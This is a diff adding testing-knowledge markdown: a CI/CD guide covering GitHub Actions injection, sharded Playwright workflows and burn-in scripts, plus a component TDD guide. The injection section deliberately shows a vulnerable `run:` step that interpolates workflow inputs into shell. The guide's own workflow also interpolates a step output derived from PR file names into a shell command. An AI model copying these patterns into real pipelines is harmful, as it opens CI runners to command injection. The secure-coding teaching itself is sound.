+- name: Run tests
+  run: |
+    npx playwright test --grep "${{ inputs.test_ids }}"
+
+# ✅ SAFE — env var cannot break out of shell quoting
+- name: Run tests
+  env:
+    TEST_IDS: ${{ inputs.test_ids }}
+  run: |
+    npx playwright test --grep "$TEST_IDS"
+```
+
+### Unsafe Contexts (require env: intermediary)
+
+- `${{ inputs.* }}` — workflow_call and workflow_dispatch inputs
+- `${{ github.event.* }}` — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.)
+- `${{ github.head_ref }}` — PR source branch name (user-controlled)
+
+**Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments.
+
+### Safe Contexts (safe from GitHub expression injection in run: blocks)
+
+- `${{ steps.*.outputs.* }}` — pre-computed by your own code
+- `${{ matrix.* }}` — defined in workflow YAML
+- `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` — system-controlled
+- `${{ secrets.* }}` — secret store, not user-injectable
+- `${{ env.* }}` — already an env var
+
+> **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply — always double-quote variable references in `run:` blocks.
+
+---
+
+## Pattern Examples
+
+### Example 1: GitHub Actions Workflow with Parallel Execution
+
+**Context**: Production-ready CI/CD pipeline for E2E tests with caching, parallelization, and burn-in testing.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/e2e-tests.yml
+name: E2E Tests
+on:
+  pull_request:
+  push:
+    branches: [main, develop]
+
+env:
+  NODE_VERSION_FILE: '.nvmrc'
+  CACHE_KEY: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
+
+jobs:
+  install-dependencies:
+    name: Install & Cache Dependencies
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Cache node modules
+        uses: actions/cache@v4
+        id: npm-cache
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/Cypress
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+          restore-keys: |
+            ${{ runner.os }}-node-
+
+      - name: Install dependencies
+        if: steps.npm-cache.outputs.cache-hit != 'true'
+        run: npm ci --prefer-offline --no-audit
+
+      - name: Install Playwright browsers
+        if: steps.npm-cache.outputs.cache-hit != 'true'
+        run: npx playwright install --with-deps chromium
+
+  test-changed-specs:
+    name: Test Changed Specs First (Burn-In)
+    needs: install-dependencies
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Full history for accurate diff
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Restore dependencies
+        uses: actions/cache@v4
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+
+      - name: Detect changed test files
+        id: changed-tests
+        run: |
+          CHANGED_SPECS=$(git diff --name-only origin/main...HEAD | grep -E '\.(spec|test)\.(ts|js|tsx|jsx)$' || echo "")
+          echo "changed_specs=${CHANGED_SPECS}" >> $GITHUB_OUTPUT
+          echo "Changed specs: ${CHANGED_SPECS}"
+
+      - name: Run burn-in on changed specs (10 iterations)
+        if: steps.changed-tests.outputs.changed_specs != ''
+        run: |
+          SPECS="${{ steps.changed-tests.outputs.changed_specs }}"
+          echo "Running burn-in: 10 iterations on changed specs"
+          for i in {1..10}; do
+            echo "Burn-in iteration $i/10"
+            npm run test -- $SPECS || {
+              echo "❌ Burn-in failed on iteration $i"
+              exit 1
+            }
+          done
+          echo "✅ Burn-in passed - 10/10 successful runs"
+
+      - name: Upload artifacts on failure
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: burn-in-failure-artifacts
+          path: |
+            test-results/
+            playwright-report/
+            screenshots/
+          retention-days: 7
+
+  test-e2e-sharded:
+    name: E2E Tests (Shard ${{ matrix.shard }}/${{ strategy.job-total }})
+    needs: [install-dependencies, test-changed-specs]
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    strategy:
+      fail-fast: false # Run all shards even if one fails
+      matrix:
+        shard: [1, 2, 3, 4]
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Restore dependencies
+        uses: actions/cache@v4
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+
+      - name: Run E2E tests (shard ${{ matrix.shard }})
+        run: npm run test:e2e -- --shard=${{ matrix.shard }}/4
+        env:
+          TEST_ENV: staging
+          CI: true
+
+      - name: Upload test results
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results-shard-${{ matrix.shard }}
+          path: |
+            test-results/
+            playwright-report/
+          retention-days: 30
+
+      - name: Upload JUnit report
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: junit-results-shard-${{ matrix.shard }}
+          path: test-results/junit.xml
+          retention-days: 30
+
+  merge-test-results:
+    name: Merge Test Results & Generate Report
+    needs: test-e2e-sharded
+    runs-on: ubuntu-latest
+    if: always()
+    steps:
+      - name: Download all shard results
+        uses: actions/download-artifact@v4
+        with:
+          pattern: test-results-shard-*
+          path: all-results/
+
+      - name: Merge HTML reports
+        run: |
+          npx playwright merge-reports --reporter=html all-results/
+          echo "Merged report available in playwright-report/"
+
+      - name: Upload merged report
+        uses: actions/upload-artifact@v4
+        with:
+          name: merged-playwright-report
+          path: playwright-report/
+          retention-days: 30
+
+      - name: Comment PR with results
+        if: github.event_name == 'pull_request'
+        uses: daun/playwright-report-comment@v3
+        with:
+          report-path: playwright-report/
+```
+
+**Key Points**:
+
+- **Install once, reuse everywhere**: Dependencies cached across all jobs
+- **Burn-in first**: Changed specs run 10x before full suite
+- **Fail-fast disabled**: All shards run to completion for full evidence
+- **Parallel execution**: 4 shards cut execution time by ~75%
+- **Artifact retention**: 30 days for reports, 7 days for failure debugging
+
+---
+
+### Example 2: Burn-In Loop Pattern (Standalone Script)
+
+**Context**: Reusable bash script for burn-in testing changed specs locally or in CI.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/burn-in-changed.sh
+# Usage: ./scripts/burn-in-changed.sh [iterations] [base-branch]
+
+set -e  # Exit on error
+
+# Configuration
+ITERATIONS=${1:-10}
+BASE_BRANCH=${2:-main}
+SPEC_PATTERN='\.(spec|test)\.(ts|js|tsx|jsx)$'
+
+echo "🔥 Burn-In Test Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Iterations: $ITERATIONS"
+echo "Base branch: $BASE_BRANCH"
+echo ""
+
+# Detect changed test files
+echo "📋 Detecting changed test files..."
+CHANGED_SPECS=$(git diff --name-only $BASE_BRANCH...HEAD | grep -E "$SPEC_PATTERN" || echo "")
+
+if [ -z "$CHANGED_SPECS" ]; then
+  echo "✅ No test files changed. Skipping burn-in."
+  exit 0
+fi
+
+echo "Changed test files:"
+echo "$CHANGED_SPECS" | sed 's/^/  - /'
+echo ""
+
+# Count specs
+SPEC_COUNT=$(echo "$CHANGED_SPECS" | wc -l | xargs)
+echo "Running burn-in on $SPEC_COUNT test file(s)..."
+echo ""
+
+# Burn-in loop
+FAILURES=()
+for i in $(seq 1 $ITERATIONS); do
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  echo "🔄 Iteration $i/$ITERATIONS"
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+
+  # Run tests with explicit file list
+  if npm run test -- $CHANGED_SPECS 2>&1 | tee "burn-in-log-$i.txt"; then
+    echo "✅ Iteration $i passed"
+  else
+    echo "❌ Iteration $i failed"
+    FAILURES+=($i)
+
+    # Save failure artifacts
+    mkdir -p burn-in-failures/iteration-$i
+    cp -r test-results/ burn-in-failures/iteration-$i/ 2>/dev/null || true
+    cp -r screenshots/ burn-in-failures/iteration-$i/ 2>/dev/null || true
+
+    echo ""
+    echo "🛑 BURN-IN FAILED on iteration $i"
+    echo "Failure artifacts saved to: burn-in-failures/iteration-$i/"
+    echo "Logs saved to: burn-in-log-$i.txt"
+    echo ""
+    exit 1
+  fi
+
+  echo ""
+done
+
+# Success summary
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "🎉 BURN-IN PASSED"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "All $ITERATIONS iterations passed for $SPEC_COUNT test file(s)"
+echo "Changed specs are stable and ready to merge."
+echo ""
+
+# Cleanup logs
+rm -f burn-in-log-*.txt
+
+exit 0
+```
+
+**Usage**:
+
+```bash
+# Run locally with default settings (10 iterations, compare to main)
+./scripts/burn-in-changed.sh
+
+# Custom iterations and base branch
+./scripts/burn-in-changed.sh 20 develop
+
+# Add to package.json
+{
+  "scripts": {
+    "test:burn-in": "bash scripts/burn-in-changed.sh",
+    "test:burn-in:strict": "bash scripts/burn-in-changed.sh 20"
+  }
+}
+```
+
+**Key Points**:
+
+- **Exit on first failure**: Flaky tests caught immediately
+- **Failure artifacts**: Saved per-iteration for debugging
+- **Flexible configuration**: Iterations and base branch customizable
+- **CI/local parity**: Same script runs in both environments
+- **Clear output**: Visual feedback on progress and results
+
+---
+
+### Example 3: Shard Orchestration with Result Aggregation
+
+**Context**: Advanced sharding strategy for large test suites with intelligent result merging.
+
+**Implementation**:
+
+```javascript
+// scripts/run-sharded-tests.js
+const { spawn } = require('child_process');
+const fs = require('fs');
+const path = require('path');
+
+/**
+ * Run tests across multiple shards and aggregate results
+ * Usage: node scripts/run-sharded-tests.js --shards=4 --env=staging
+ */
+
+const SHARD_COUNT = parseInt(process.env.SHARD_COUNT || '4');
+const TEST_ENV = process.env.TEST_ENV || 'local';
+const RESULTS_DIR = path.join(__dirname, '../test-results');
+
+console.log(`🚀 Running tests across ${SHARD_COUNT} shards`);
+console.log(`Environment: ${TEST_ENV}`);
+console.log('━'.repeat(50));
+
+// Ensure results directory exists
+if (!fs.existsSync(RESULTS_DIR)) {
+  fs.mkdirSync(RESULTS_DIR, { recursive: true });
+}
+
+/**
+ * Run a single shard
+ */
+function runShard(shardIndex) {
+  return new Promise((resolve, reject) => {
+    const shardId = `${shardIndex}/${SHARD_COUNT}`;
+    console.log(`\n📦 Starting shard ${shardId}...`);
+
+    const child = spawn('npx', ['playwright', 'test', `--shard=${shardId}`, '--reporter=json'], {
+      env: { ...process.env, TEST_ENV, SHARD_INDEX: shardIndex },
+      stdio: 'pipe',
+    });
+
+    let stdout = '';
+    let stderr = '';
+
+    child.stdout.on('data', (data) => {
+      stdout += data.toString();
+      process.stdout.write(data);
+    });
+
+    child.stderr.on('data', (data) => {
+      stderr += data.toString();
+      process.stderr.write(data);
+    });
+
+    child.on('close', (code) => {
+      // Save shard results
+      const resultFile = path.join(RESULTS_DIR, `shard-${shardIndex}.json`);
+      try {
+        const result = JSON.parse(stdout);
+        fs.writeFileSync(resultFile, JSON.stringify(result, null, 2));
+        console.log(`✅ Shard ${shardId} completed (exit code: ${code})`);
+        resolve({ shardIndex, code, result });
+      } catch (error) {
+        console.error(`❌ Shard ${shardId} failed to parse results:`, error.message);
+        reject({ shardIndex, code, error });
+      }
+    });
+
+    child.on('error', (error) => {
+      console.error(`❌ Shard ${shardId} process error:`, error.message);
+      reject({ shardIndex, error });
+    });
+  });
+}
+
+/**
+ * Aggregate results from all shards
+ */
+function aggregateResults() {
+  console.log('\n📊 Aggregating results from all shards...');
+
+  const shardResults = [];
+  let totalTests = 0;
+  let totalPassed = 0;
+  let totalFailed = 0;
+  let totalSkipped = 0;
+  let totalFlaky = 0;
+
+  for (let i = 1; i <= SHARD_COUNT; i++) {
+    const resultFile = path.join(RESULTS_DIR, `shard-${i}.json`);
+    if (fs.existsSync(resultFile)) {
+      const result = JSON.parse(fs.readFileSync(resultFile, 'utf8'));
+      shardResults.push(result);
+
+      // Aggregate stats
+      totalTests += result.stats?.expected || 0;
+      totalPassed += result.stats?.expected || 0;
+      totalFailed += result.stats?.unexpected || 0;
+      totalSkipped += result.stats?.skipped || 0;
+      totalFlaky += result.stats?.flaky || 0;
+    }
+  }
+
+  const summary = {
+    totalShards: SHARD_COUNT,
+    environment: TEST_ENV,
+    totalTests,
+    passed: totalPassed,
+    failed: totalFailed,
+    skipped: totalSkipped,
+    flaky: totalFlaky,
+    duration: shardResults.reduce((acc, r) => acc + (r.duration || 0), 0),
+    timestamp: new Date().toISOString(),
+  };
+
+  // Save aggregated summary
+  fs.writeFileSync(path.join(RESULTS_DIR, 'summary.json'), JSON.stringify(summary, null, 2));
+
+  console.log('\n━'.repeat(50));
+  console.log('📈 Test Results Summary');
+  console.log('━'.repeat(50));
+  console.log(`Total tests:    ${totalTests}`);
+  console.log(`✅ Passed:      ${totalPassed}`);
+  console.log(`❌ Failed:      ${totalFailed}`);
+  console.log(`⏭️  Skipped:     ${totalSkipped}`);
+  console.log(`⚠️  Flaky:       ${totalFlaky}`);
+  console.log(`⏱️  Duration:    ${(summary.duration / 1000).toFixed(2)}s`);
+  console.log('━'.repeat(50));
+
+  return summary;
+}
+
+/**
+ * Main execution
+ */
+async function main() {
+  const startTime = Date.now();
+  const shardPromises = [];
+
+  // Run all shards in parallel
+  for (let i = 1; i <= SHARD_COUNT; i++) {
+    shardPromises.push(runShard(i));
+  }
+
+  try {
+    await Promise.allSettled(shardPromises);
+  } catch (error) {
+    console.error('❌ One or more shards failed:', error);
+  }
+
+  // Aggregate results
+  const summary = aggregateResults();
+
+  const totalTime = ((Date.now() - startTime) / 1000).toFixed(2);
+  console.log(`\n⏱️  Total execution time: ${totalTime}s`);
+
+  // Exit with failure if any tests failed
+  if (summary.failed > 0) {
+    console.error('\n❌ Test suite failed');
+    process.exit(1);
+  }
+
+  console.log('\n✅ All tests passed');
+  process.exit(0);
+}
+
+main().catch((error) => {
+  console.error('Fatal error:', error);
+  process.exit(1);
+});
+```
+
+**package.json integration**:
+
+```json
+{
+  "scripts": {
+    "test:sharded": "node scripts/run-sharded-tests.js",
+    "test:sharded:ci": "SHARD_COUNT=8 TEST_ENV=staging node scripts/run-sharded-tests.js"
+  }
+}
+```
+
+**Key Points**:
+
+- **Parallel shard execution**: All shards run simultaneously
+- **Result aggregation**: Unified summary across shards
+- **Failure detection**: Exit code reflects overall test status
+- **Artifact preservation**: Individual shard results saved for debugging
+- **CI/local compatibility**: Same script works in both environments
+
+---
+
+### Example 4: Selective Test Execution (Changed Files + Tags)
+
+**Context**: Optimize CI by running only relevant tests based on file changes and tags.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/selective-test-runner.sh
+# Intelligent test selection based on changed files and test tags
+
+set -e
+
+BASE_BRANCH=${BASE_BRANCH:-main}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🎯 Selective Test Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Base branch: $BASE_BRANCH"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Detect changed files (all types, not just tests)
+CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
+
+if [ -z "$CHANGED_FILES" ]; then
+  echo "✅ No files changed. Skipping tests."
+  exit 0
+fi
+
+echo "Changed files:"
+echo "$CHANGED_FILES" | sed 's/^/  - /'
+echo ""
+
+# Determine test strategy based on changes
+run_smoke_only=false
+run_all_tests=false
+affected_specs=""
+
+# Critical files = run all tests
+if echo "$CHANGED_FILES" | grep -qE '(package\.json|package-lock\.json|playwright\.config|cypress\.config|\.github/workflows)'; then
+  echo "⚠️  Critical configuration files changed. Running ALL tests."
+  run_all_tests=true
+
+# Auth/security changes = run all auth + smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '(auth|login|signup|security)'; then
+  echo "🔒 Auth/security files changed. Running auth + smoke tests."
+  npm run test -- --grep "@auth|@smoke"
+  exit $?
+
+# API changes = run integration + smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '(api|service|controller)'; then
+  echo "🔌 API files changed. Running integration + smoke tests."
+  npm run test -- --grep "@integration|@smoke"
+  exit $?
+
+# UI component changes = run related component tests
+elif echo "$CHANGED_FILES" | grep -qE '\.(tsx|jsx|vue)$'; then
+  echo "🎨 UI components changed. Running component + smoke tests."
+
+  # Extract component names and find related tests
+  components=$(echo "$CHANGED_FILES" | grep -E '\.(tsx|jsx|vue)$' | xargs -I {} basename {} | sed 's/\.[^.]*$//')
+  for component in $components; do
+    # Find tests matching component name
+    affected_specs+=$(find tests -name "*${component}*" -type f) || true
+  done
+
+  if [ -n "$affected_specs" ]; then
+    echo "Running tests for: $affected_specs"
+    npm run test -- $affected_specs --grep "@smoke"
+  else
+    echo "No specific tests found. Running smoke tests only."
+    npm run test -- --grep "@smoke"
+  fi
+  exit $?
+
+# Documentation/config only = run smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '\.(md|txt|json|yml|yaml)$'; then
+  echo "📝 Documentation/config files changed. Running smoke tests only."
+  run_smoke_only=true
+else
+  echo "⚙️  Other files changed. Running smoke tests."
+  run_smoke_only=true
+fi
+
+# Execute selected strategy
+if [ "$run_all_tests" = true ]; then
+  echo ""
+  echo "Running full test suite..."
+  npm run test
+elif [ "$run_smoke_only" = true ]; then
+  echo ""
+  echo "Running smoke tests..."
+  npm run test -- --grep "@smoke"
+fi
+```
+
+**Usage in GitHub Actions**:
+
+```yaml
+# .github/workflows/selective-tests.yml
+name: Selective Tests
+on: pull_request
+
+jobs:
+  selective-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Run selective tests
+        run: bash scripts/selective-test-runner.sh
+        env:
+          BASE_BRANCH: ${{ github.base_ref }}
+          TEST_ENV: staging
+```
+
+**Key Points**:
+
+- **Intelligent routing**: Tests selected based on changed file types
+- **Tag-based filtering**: Use @smoke, @auth, @integration tags
+- **Fast feedback**: Only relevant tests run on most PRs
+- **Safety net**: Critical changes trigger full suite
+- **Component mapping**: UI changes run related component tests
+
+---
+
+## CI Configuration Checklist
+
+Before deploying your CI pipeline, verify:
+
+- [ ] **Caching strategy**: node_modules, npm cache, browser binaries cached
+- [ ] **Timeout budgets**: Each job has reasonable timeout (10-30 min)
+- [ ] **Artifact retention**: 30 days for reports, 7 days for failure artifacts
+- [ ] **Parallelization**: Matrix strategy uses fail-fast: false
+- [ ] **Burn-in enabled**: Changed specs run 5-10x before merge
+- [ ] **wait-on app startup**: CI waits for app (wait-on: '<http://localhost:3000>')
+- [ ] **Secrets documented**: README lists required secrets (API keys, tokens)
+- [ ] **Local parity**: CI scripts runnable locally (npm run test:ci)
+
+## Integration Points
+
+- Used in workflows: `*ci` (CI/CD pipeline setup)
+- Related fragments: `selective-testing.md`, `playwright-config.md`, `test-quality.md`
+- CI tools: GitHub Actions, GitLab CI, CircleCI, Jenkins
+
+_Source: Murat CI/CD strategy blog, Playwright/Cypress workflow examples, enterprise production pipelines_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/component-tdd.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/component-tdd.md
new file mode 100644
index 0000000..d14ba8f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/component-tdd.md
@@ -0,0 +1,486 @@
+# Component Test-Driven Development Loop
+
+## Principle
+
+Start every UI change with a failing component test (`cy.mount`, Playwright component test, or RTL `render`). Follow the Red-Green-Refactor cycle: write a failing test (red), make it pass with minimal code (green), then improve the implementation (refactor). Ship only after the cycle completes. Keep component tests under 100 lines, isolated with fresh providers per test, and validate accessibility alongside functionality.
+
+## Rationale
+
+Component TDD provides immediate feedback during development. Failing tests (red) clarify requirements before writing code. Minimal implementations (green) prevent over-engineering. Refactoring with passing tests ensures changes don't break functionality. Isolated tests with fresh providers prevent state bleed in parallel runs. Accessibility assertions catch usability issues early. Visual debugging (Cypress runner, Storybook, Playwright trace viewer) accelerates diagnosis when tests fail.
+
+## Pattern Examples
+
+### Example 1: Red-Green-Refactor Loop
+
+**Context**: When building a new component, start with a failing test that describes the desired behavior. Implement just enough to pass, then refactor for quality.
+
+**Implementation**:
+
+```typescript
+// Step 1: RED - Write failing test
+// Button.cy.tsx (Cypress Component Test)
+import { Button } from './Button';
+
+describe('Button Component', () => {
+  it('should render with label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+});
+
+// Run test: FAILS - Button component doesn't exist yet
+// Error: "Cannot find module './Button'"
+
+// Step 2: GREEN - Minimal implementation
+// Button.tsx
+type ButtonProps = {
+  label: string;
+  onClick?: () => void;
+};
+
+export const Button = ({ label, onClick }: ButtonProps) => {
+  return <button onClick={onClick}>{label}</button>;
+};
+
+// Run test: PASSES - Component renders and handles clicks
+
+// Step 3: REFACTOR - Improve implementation
+// Add disabled state, loading state, variants
+type ButtonProps = {
+  label: string;
+  onClick?: () => void;
+  disabled?: boolean;
+  loading?: boolean;
+  variant?: 'primary' | 'secondary' | 'danger';
+};
+
+export const Button = ({
+  label,
+  onClick,
+  disabled = false,
+  loading = false,
+  variant = 'primary'
+}: ButtonProps) => {
+  return (
+    <button
+      onClick={onClick}
+      disabled={disabled || loading}
+      className={`btn btn-${variant}`}
+      data-testid="button"
+    >
+      {loading ? <Spinner /> : label}
+    </button>
+  );
+};
+
+// Step 4: Expand tests for new features
+describe('Button Component', () => {
+  it('should render with label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+
+  it('should be disabled when disabled prop is true', () => {
+    cy.mount(<Button label="Submit" disabled={true} />);
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should show spinner when loading', () => {
+    cy.mount(<Button label="Submit" loading={true} />);
+    cy.get('[data-testid="spinner"]').should('be.visible');
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should apply variant styles', () => {
+    cy.mount(<Button label="Delete" variant="danger" />);
+    cy.get('button').should('have.class', 'btn-danger');
+  });
+});
+
+// Run tests: ALL PASS - Refactored component still works
+
+// Playwright Component Test equivalent
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Component', () => {
+  test('should call onClick when clicked', async ({ mount }) => {
+    let clicked = false;
+    const component = await mount(
+      <Button label="Submit" onClick={() => { clicked = true; }} />
+    );
+
+    await component.getByRole('button').click();
+    expect(clicked).toBe(true);
+  });
+
+  test('should be disabled when loading', async ({ mount }) => {
+    const component = await mount(<Button label="Submit" loading={true} />);
+    await expect(component.getByRole('button')).toBeDisabled();
+    await expect(component.getByTestId('spinner')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Red: Write failing test first - clarifies requirements before coding
+- Green: Implement minimal code to pass - prevents over-engineering
+- Refactor: Improve code quality while keeping tests green
+- Expand: Add tests for new features after refactoring
+- Cycle repeats: Each new feature starts with a failing test
+
+### Example 2: Provider Isolation Pattern
+
+**Context**: When testing components that depend on context providers (React Query, Auth, Router), wrap them with required providers in each test to prevent state bleed between tests.
+
+**Implementation**:
+
+```typescript
+// test-utils/AllTheProviders.tsx
+import { FC, ReactNode } from 'react';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { BrowserRouter } from 'react-router-dom';
+import { AuthProvider } from '../contexts/AuthContext';
+
+type Props = {
+  children: ReactNode;
+  initialAuth?: { user: User | null; token: string | null };
+};
+
+export const AllTheProviders: FC<Props> = ({ children, initialAuth }) => {
+  // Create NEW QueryClient per test (prevent state bleed)
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false }
+    }
+  });
+
+  return (
+    <QueryClientProvider client={queryClient}>
+      <BrowserRouter>
+        <AuthProvider initialAuth={initialAuth}>
+          {children}
+        </AuthProvider>
+      </BrowserRouter>
+    </QueryClientProvider>
+  );
+};
+
+// Cypress custom mount command
+// cypress/support/component.tsx
+import { mount } from 'cypress/react18';
+import { AllTheProviders } from '../../test-utils/AllTheProviders';
+
+Cypress.Commands.add('wrappedMount', (component, options = {}) => {
+  const { initialAuth, ...mountOptions } = options;
+
+  return mount(
+    <AllTheProviders initialAuth={initialAuth}>
+      {component}
+    </AllTheProviders>,
+    mountOptions
+  );
+});
+
+// Usage in tests
+// UserProfile.cy.tsx
+import { UserProfile } from './UserProfile';
+
+describe('UserProfile Component', () => {
+  it('should display user when authenticated', () => {
+    const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
+
+    cy.wrappedMount(<UserProfile />, {
+      initialAuth: { user, token: 'fake-token' }
+    });
+
+    cy.contains('John Doe').should('be.visible');
+    cy.contains('john@example.com').should('be.visible');
+  });
+
+  it('should show login prompt when not authenticated', () => {
+    cy.wrappedMount(<UserProfile />, {
+      initialAuth: { user: null, token: null }
+    });
+
+    cy.contains('Please log in').should('be.visible');
+  });
+});
+
+// Playwright Component Test with providers
+import { test, expect } from '@playwright/experimental-ct-react';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { UserProfile } from './UserProfile';
+import { AuthProvider } from '../contexts/AuthContext';
+
+test.describe('UserProfile Component', () => {
+  test('should display user when authenticated', async ({ mount }) => {
+    const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
+    const queryClient = new QueryClient();
+
+    const component = await mount(
+      <QueryClientProvider client={queryClient}>
+        <AuthProvider initialAuth={{ user, token: 'fake-token' }}>
+          <UserProfile />
+        </AuthProvider>
+      </QueryClientProvider>
+    );
+
+    await expect(component.getByText('John Doe')).toBeVisible();
+    await expect(component.getByText('john@example.com')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Create NEW providers per test (QueryClient, Router, Auth)
+- Prevents state pollution between tests
+- `initialAuth` prop allows testing different auth states
+- Custom mount command (`wrappedMount`) reduces boilerplate
+- Providers wrap component, not the entire test suite
+
+### Example 3: Accessibility Assertions
+
+**Context**: When testing components, validate accessibility alongside functionality using axe-core, ARIA roles, labels, and keyboard navigation.
+
+**Implementation**:
+
+```typescript
+// Cypress with axe-core
+// cypress/support/component.tsx
+import 'cypress-axe';
+
+// Form.cy.tsx
+import { Form } from './Form';
+
+describe('Form Component Accessibility', () => {
+  beforeEach(() => {
+    cy.wrappedMount(<Form />);
+    cy.injectAxe(); // Inject axe-core
+  });
+
+  it('should have no accessibility violations', () => {
+    cy.checkA11y(); // Run axe scan
+  });
+
+  it('should have proper ARIA labels', () => {
+    cy.get('input[name="email"]').should('have.attr', 'aria-label', 'Email address');
+    cy.get('input[name="password"]').should('have.attr', 'aria-label', 'Password');
+    cy.get('button[type="submit"]').should('have.attr', 'aria-label', 'Submit form');
+  });
+
+  it('should support keyboard navigation', () => {
+    // Tab through form fields
+    cy.get('input[name="email"]').focus().type('test@example.com');
+    cy.realPress('Tab'); // cypress-real-events plugin
+    cy.focused().should('have.attr', 'name', 'password');
+
+    cy.focused().type('password123');
+    cy.realPress('Tab');
+    cy.focused().should('have.attr', 'type', 'submit');
+
+    cy.realPress('Enter'); // Submit via keyboard
+    cy.contains('Form submitted').should('be.visible');
+  });
+
+  it('should announce errors to screen readers', () => {
+    cy.get('button[type="submit"]').click(); // Submit without data
+
+    // Error has role="alert" and aria-live="polite"
+    cy.get('[role="alert"]')
+      .should('be.visible')
+      .and('have.attr', 'aria-live', 'polite')
+      .and('contain', 'Email is required');
+  });
+
+  it('should have sufficient color contrast', () => {
+    cy.checkA11y(null, {
+      rules: {
+        'color-contrast': { enabled: true }
+      }
+    });
+  });
+});
+
+// Playwright with axe-playwright
+import { test, expect } from '@playwright/experimental-ct-react';
+import AxeBuilder from '@axe-core/playwright';
+import { Form } from './Form';
+
+test.describe('Form Component Accessibility', () => {
+  test('should have no accessibility violations', async ({ mount, page }) => {
+    await mount(<Form />);
+
+    const accessibilityScanResults = await new AxeBuilder({ page })
+      .analyze();
+
+    expect(accessibilityScanResults.violations).toEqual([]);
+  });
+
+  test('should support keyboard navigation', async ({ mount, page }) => {
+    const component = await mount(<Form />);
+
+    await component.getByLabel('Email address').fill('test@example.com');
+    await page.keyboard.press('Tab');
+
+    await expect(component.getByLabel('Password')).toBeFocused();
+
+    await component.getByLabel('Password').fill('password123');
+    await page.keyboard.press('Tab');
+
+    await expect(component.getByRole('button', { name: 'Submit form' })).toBeFocused();
+
+    await page.keyboard.press('Enter');
+    await expect(component.getByText('Form submitted')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Use `cy.checkA11y()` (Cypress) or `AxeBuilder` (Playwright) for automated accessibility scanning
+- Validate ARIA roles, labels, and live regions
+- Test keyboard navigation (Tab, Enter, Escape)
